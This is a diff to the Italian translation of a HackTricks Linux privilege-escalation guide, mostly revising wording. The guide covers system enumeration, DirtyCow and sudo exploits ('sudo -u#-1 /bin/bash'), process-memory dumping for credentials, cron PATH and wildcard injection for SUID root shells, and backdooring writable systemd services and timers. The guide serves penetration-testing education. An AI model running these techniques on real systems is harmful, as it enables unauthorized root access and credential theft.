diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index a6d7b2f0b..63a14bb6f 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni sul sistema +## Informazioni di sistema -### Info OS +### Informazioni OS -Iniziamo a ottenere alcune informazioni sul sistema operativo in esecuzione +Iniziamo a raccogliere alcune informazioni sul sistema operativo in esecuzione ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: +Se **hai permessi di scrittura su qualsiasi cartella presente nella variabile `PATH`** potresti essere in grado di hijackare alcune librerie o binari: ```bash echo $PATH ``` -### Info ambiente +### Informazioni sull'ambiente Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash @@ -26,26 +26,26 @@ Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ``` ### Kernel exploits -Controlla la versione del kernel e se c'è qualche exploit che può essere utilizzato per elevare i privilegi. +Controlla la versione del kernel e verifica se esista qualche exploit che possa essere usato per elevare i privilegi ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puoi trovare un buon elenco di kernel vulnerabili e alcuni **exploit compilati** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Altri siti dove puoi trovare alcuni **exploit compilati**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Altri siti dove puoi trovare alcuni **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Per estrarre tutte le versioni vulnerabili del kernel da quel sito puoi fare: +Per estrarre tutte le versioni di kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che potrebbero aiutare a cercare exploit del kernel sono: +Strumenti che possono aiutare a cercare exploit per il kernel sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire SULLA vittima, controlla solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (esegui IN victim, controlla solo exploit per kernel 2.x) -Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e allora sarai sicuro che questo exploit è valido. +Cerca sempre **la versione del kernel su Google**, magari la tua versione del kernel è citata in qualche exploit e così potrai essere sicuro che quell'exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versione di Sudo +### Versione di sudo -Basato sulle versioni vulnerabili di sudo che appaiono in: +Basato sulle versioni vulnerabili di sudo che compaiono in: ```bash searchsploit sudo ``` -Puoi controllare se la versione di sudo è vulnerabile utilizzando questo grep. +Puoi verificare se la versione di sudo è vulnerabile usando questo grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,13 +73,13 @@ Da @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verifica della firma fallita +### Verifica della firma Dmesg fallita -Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata +Consulta la **smasher2 box of HTB** per un **esempio** di come questa vuln possa essere sfruttata ```bash dmesg 2>/dev/null | grep "signature" ``` -### Maggiore enumerazione del sistema +### Ulteriore enumerazione del sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,78 +123,78 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei all'interno di un container docker, puoi provare a fuggire da esso: +Se sei dentro un docker container puoi provare a evadere da esso: {{#ref}} docker-security/ {{#endref}} -## Drives +## Dischi -Controlla **cosa è montato e smontato**, dove e perché. Se qualcosa è smontato, potresti provare a montarlo e controllare informazioni private. +Controlla **cosa è montato e cosa non è montato**, dove e perché. Se qualcosa non è montata potresti provare a montarla e controllare la presenza di informazioni private. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Software utili +## Software utile Enumerare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Controlla anche se **è installato un compilatore**. Questo è utile se hai bisogno di utilizzare qualche exploit del kernel poiché è consigliato compilarlo nella macchina in cui lo utilizzerai (o in una simile). +Verifica anche se **è installato un compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una simile) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Software Vulnerabile Installato +### Software vulnerabile installato -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi...\ -Si consiglia di controllare manualmente la versione del software installato più sospetto. +Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una versione vecchia di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ +Si consiglia di verificare manualmente la versione dei software installati che risultano più sospetti. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se hai accesso SSH alla macchina, puoi anche utilizzare **openVAS** per controllare se ci sono software obsoleti e vulnerabili installati all'interno della macchina. +Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleti e vulnerabili installati sulla macchina. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, quindi è consigliato utilizzare alcune applicazioni come OpenVAS o simili che verificheranno se qualche versione del software installato è vulnerabile a exploit noti._ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se qualche versione del software installato sia vulnerabile a exploit noti_ ## Processi -Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi di quanto dovrebbe** (magari un tomcat eseguito da root?) +Dai un'occhiata a **quali processi** vengono eseguiti e verifica se qualche processo ha **più privilegi di quanto dovrebbe** (magari un tomcat eseguito da root?) ```bash ps aux ps -ef top -n 1 ``` -Controlla sempre la presenza di [**debugger electron/cef/chromium**] in esecuzione, potresti abusarne per elevare i privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` all'interno della riga di comando del processo.\ -Controlla anche **i tuoi privilegi sui binari dei processi**, forse puoi sovrascrivere qualcuno. +Controlla sempre la possibile esecuzione di [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` nella linea di comando del processo.\ +Controlla anche i tuoi privilegi sui binari dei processi, magari puoi sovrascriverne qualcuno. -### Monitoraggio dei processi +### Process monitoring -Puoi utilizzare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti. -### Memoria del processo +### Process memory -Alcuni servizi di un server salvano **le credenziali in chiaro all'interno della memoria**.\ -Normalmente avrai bisogno di **privilegi di root** per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire ulteriori credenziali.\ +Alcuni servizi di un server salvano **credentials in clear text inside the memory**.\ +Normalmente avrai bisogno di **root privileges** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.\ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Tieni presente che oggigiorno la maggior parte delle macchine **non consente ptrace per impostazione predefinita**, il che significa che non puoi dumpare altri processi che appartengono al tuo utente non privilegiato. +> Nota che al giorno d'oggi la maggior parte delle macchine **non permette ptrace per default** il che significa che non puoi eseguire il dump di altri processi che appartengono al tuo utente non privilegiato. > -> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. -> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged. -> - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Se hai accesso alla memoria di un servizio FTP (ad esempio) potresti ottenere l'Heap e cercare all'interno delle sue credenziali. +Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file. +Per un dato ID di processo, **maps mostrano come la memoria è mappata all'interno** dello spazio di indirizzamento virtuale di quel processo; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **posizionarci nel file mem e dumpare tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accesso utilizzando /dev/kmem.\ -Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. +`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ +Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo kmem ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump per linux +### ProcDump per Linux -ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una rivisitazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Disponibile su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per eseguire il dump della memoria di un processo puoi usare: +Per dumpare la memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà -- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root) +- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) ### Credenziali dalla memoria del processo #### Esempio manuale -Se trovi che il processo di autenticazione è in esecuzione: +Se trovi che il processo authenticator è in esecuzione: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi eseguire il dump del processo (vedi le sezioni precedenti per trovare diversi modi per eseguire il dump della memoria di un processo) e cercare credenziali all'interno della memoria: +Puoi dump the process (vedi le sezioni precedenti per trovare diversi modi per dump the memory of a process) e cercare credentials all'interno della memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruberà credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. -| Caratteristica | Nome Processo | -| -------------------------------------------------- | -------------------- | -| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Connessioni FTP Attive) | vsftpd | -| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 | -| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: | +| Funzionalità | Nome processo | +| ------------------------------------------------- | --------------------- | +| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regex di ricerca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,67 +314,67 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Job pianificati/Cron jobs -Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file utilizzati da root? usare symlink? creare file specifici nella directory utilizzata da root?). +Verifica se qualche job pianificato è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### PATH di Cron -Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_) +(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) -Se all'interno di questo crontab l'utente root prova a eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\ +Se in questo crontab l'utente root tenta di eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ Allora, puoi ottenere una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron utilizzando uno script con un carattere jolly (Wildcard Injection) +### Cron che esegue uno script con un wildcard (Wildcard Injection) -Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per fare cose inaspettate (come privesc). Esempio: +Se uno script viene eseguito da root e contiene un “**\***” all'interno di un comando, potresti sfruttarlo per causare comportamenti imprevisti (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se il carattere jolly è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** +**Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (nemmeno** _**./\***_ **lo è).** -Leggi la seguente pagina per ulteriori trucchi di sfruttamento dei caratteri jolly: +Leggi la pagina seguente per altri wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sovrascrittura dello script cron e symlink +### Cron script overwriting and symlink -Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: +Se puoi **modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root utilizza una **directory a cui hai accesso completo**, potrebbe essere utile eliminare quella cartella e **creare una cartella symlink a un'altra** che serve uno script controllato da te. +Se lo script eseguito da root usa una **directory su cui hai pieno accesso**, potrebbe essere utile eliminare quella cartella e **creare un symlink verso un'altra** che serva uno script controllato da te ```bash ln -d -s ``` -### Frequent cron jobs +### Cron jobs frequenti -Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi. +Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne per escalare i privilegi. -Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: +Per esempio, per **monitorare ogni 0.1s durante 1 minuto**, **ordinare per comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che inizia). +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà ed elencherà ogni processo che viene avviato). -### Lavori cron invisibili +### Cron jobs invisibili -È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova riga), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo): +È possibile creare un cronjob **mettendo un carriage return dopo un commento** (senza carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,91 +382,91 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### File _.service_ scrivibili -Controlla se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **interrotto** (forse dovrai aspettare fino a quando la macchina non viene riavviata).\ -Ad esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** +Controlla se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio è **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario aspettare il riavvio della macchina).\ +Ad esempio crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** -### Binaries di servizio scrivibili +### Binari di servizio scrivibili -Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor verranno eseguite. +Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi verranno rieseguiti le backdoor verranno eseguite. ### systemd PATH - Percorsi relativi -Puoi vedere il PATH utilizzato da **systemd** con: +Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri di poter **scrivere** in una delle cartelle del percorso, potresti essere in grado di **escalare i privilegi**. Devi cercare **percorsi relativi utilizzati nei file di configurazione dei servizi** come: +Se scopri che puoi **write** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **relative paths being used on service configurations** in file come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binario** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`). +Quindi, crea un **eseguibile** con lo **stesso nome del binary del percorso relativo** all'interno della cartella PATH di systemd che puoi scrivere, e quando al servizio viene richiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma verifica se puoi usare `sudo -l`). -**Scopri di più sui servizi con `man systemd.service`.** +**Per saperne di più sui servizi usa `man systemd.service`.** -## **Timer** +## **Timers** -I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario ed eventi di tempo monotono e possono essere eseguiti in modo asincrono. +**Timers** sono systemd unit files il cui nome termina in `**.timer**` e che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron, in quanto hanno supporto integrato per eventi basati sul calendario e per eventi temporali monotoni e possono essere eseguiti in modo asincrono. -Puoi enumerare tutti i timer con: +Puoi elencare tutti i timer con: ```bash systemctl list-timers --all ``` ### Timer scrivibili -Se puoi modificare un timer, puoi farlo eseguire alcune istanze di systemd.unit (come un `.service` o un `.target`) +Se puoi modificare un timer, puoi far eseguire alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) ```bash Unit=backdoor.service ``` -Nella documentazione puoi leggere cosa è l'Unit: +Nella documentazione puoi leggere cos'è l'Unit: -> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati identicamente, tranne per il suffisso. +> L'Unit da attivare quando questo timer scade. L'argomento è un nome di unit, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito corrisponde a un service che ha lo stesso nome della timer unit, eccetto il suffisso. (Vedi sopra.) È raccomandato che il nome dell'unit attivata e il nome dell'unit del timer siano identici, eccetto per il suffisso. Pertanto, per abusare di questo permesso dovresti: -- Trovare qualche unità systemd (come un `.service`) che sta **eseguendo un binario scrivibile** -- Trovare qualche unità systemd che sta **eseguendo un percorso relativo** e hai **privilegi di scrittura** sul **PATH di systemd** (per impersonare quell'eseguibile) +- Trovare qualche systemd unit (come una `.service`) che stia **eseguendo un binario scrivibile** +- Trovare qualche systemd unit che stia **eseguendo un percorso relativo** e sulla quale hai **privilegi di scrittura** sul **systemd PATH** (per impersonare quell'eseguibile) -**Scopri di più sui timer con `man systemd.timer`.** +**Per saperne di più sui timer usa `man systemd.timer`.** -### **Abilitare il Timer** +### **Abilitazione del timer** -Per abilitare un timer hai bisogno di privilegi di root ed eseguire: +Per abilitare un timer hai bisogno dei privilegi root ed eseguire: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nota che il **timer** è **attivato** creando un symlink su `/etc/systemd/system/.wants/.timer` +Nota che il **timer** viene **attivato** creando un symlink verso di esso in `/etc/systemd/system/.wants/.timer` ## Sockets -I Unix Domain Sockets (UDS) abilitano la **comunicazione tra processi** sulla stessa o su macchine diverse all'interno di modelli client-server. Utilizzano file descrittori Unix standard per la comunicazione inter-computer e sono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) abilitano la **comunicazione tra processi** sulla stessa macchina o tra macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file `.socket`. -I sockets possono essere configurati utilizzando file `.socket`. +I socket possono essere configurati usando file `.socket`. -**Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti: +**Per saperne di più sui socket usa `man systemd.socket`.** All'interno di questo file è possibile configurare diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse, ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. -- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default, è impostato sul servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma in sintesi servono a **indicare dove verrà effettuata l'ascolto** del socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se **true**, viene **generata un'istanza di servizio per ogni connessione in arrivo** e viene passato ad essa solo il socket di connessione. Se **false**, tutti i socket in ascolto vengono **passati all'unità di servizio avviata**, e viene generata una sola unità di servizio per tutte le connessioni. Questo valore è ignorato per i socket datagram e le FIFO dove una singola unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per motivi di performance, si raccomanda di scrivere nuovi demoni in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO in ascolto siano **creati** e bindati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito dagli argomenti per il 